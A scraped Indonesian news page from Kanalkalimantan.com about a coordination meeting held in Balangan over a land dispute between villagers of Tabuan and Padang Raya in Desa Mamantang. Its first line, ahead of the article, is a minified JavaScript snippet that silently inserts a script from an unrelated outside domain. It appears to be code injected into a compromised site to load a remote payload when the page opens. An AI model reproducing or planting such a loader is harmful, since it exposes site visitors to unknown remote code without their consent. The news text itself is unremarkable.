(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Kesbangpol Balangan Gelar Rakor Tangani Sengketa Tanah di Desa Mamantang


KANALKALIMANTAN.COM, PARINGIN – Badan Kesatuan Bangsa dan Politik (Kesbangpol) Balangan gelar Rakor Lanjutan Kewaspadaan Dini dan Penanganan Konflik Permasalahan Sengketa Tanah di Desa Mamantang, Kecamatan Halong, bertempat di Aula Kantor Kesbangpol Balangan, Paringin Selatan, Kamis (23/2/2023).

Rakor menghadirkan Dandim 1001 HSU-Balangan, Kepala Badan Kesbangpol, Kabag Ops Polres Balangan, Kesatuan Pengelolaan Hutan (KPH), Camat Halong, Kepala Desa Mamantang, Kepala Desa Padang Raya dan Kepala Desa Tabuan.

Kepala Badan Kesbangpol, Syaifuddin Tailah menyampaikan rakor lanjutan ini bertujuan untuk menyelesaikan permasalahan sengketa tanah di wilayah Desa Mamantang, Desa Padang Raya, Desa Tabuan Kecamatan Halong, agar mendapatkan solusi terbaik.

“Konflik antara warga Desa Tabuan dan Desa Padang Raya yang tanahnya berada di kawasan Desa Mamantang. Kedua belah pihak mengakui tanah tersebut milik nenek moyangnya. Maka dari itu kita adakan rapat ini agar dapat menyelesaikan permasalahan dan mendapatkan solusi terbaik,” terangnya.

 

Baca juga: Kabur Nyebur ke Sungai, Pelaku Penggelapan 2 Truk Akhirnya Dibekuk Macan Kalsel

Sementara itu, Kabag Ops Polres, Sony FL Gaol menyebut dalam rapat ini dapat mendengarkan permasalahan di Desa Mamantang yang disampaikan masing-masing pihak agar bisa menjadi bahan pembahasan.

“Pada hari ini kita mendengarkan apa apa yang menjadi permasalahan sengketa tanah yang terjadi di Desa Mamantang oleh masing-masing pihak,” sebut Sony.

Dia berharap masing-masing pihak bisa menahan diri agar tidak terjadi konflik yang lebih besar, dan dapat mengkomunikasikannya dengan pihak terkait yaitu Kesbangpol, Kepala Desa dan Polsek terdekat.

Selanjutnya, perwakilan KPH Balangan, Nazaruddin menghimbau kepada masyarakat yang berada kawasan Hutan Nasional agar mentaati aturan aturan yang ada, dan mengedepankan persaudaraan dan hukum positif.

Rakor Lanjutan Kewaspadaan Dini dan Penanganan Konflik, diakhiri dengan penandatanganan kesepakatan antara pihak yang bersangkutan untuk tidak melakukan aktifitas diwilayah tersebut, dan Pemkab Balangan akan membentuk tim untuk menyelesaikan permasalahan sengketa lahan di Desa Mamantang, Kecamatan Halong. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: cell


Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

3 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

3 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

4 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

8 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

10 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

10 jam ago

This website uses cookies.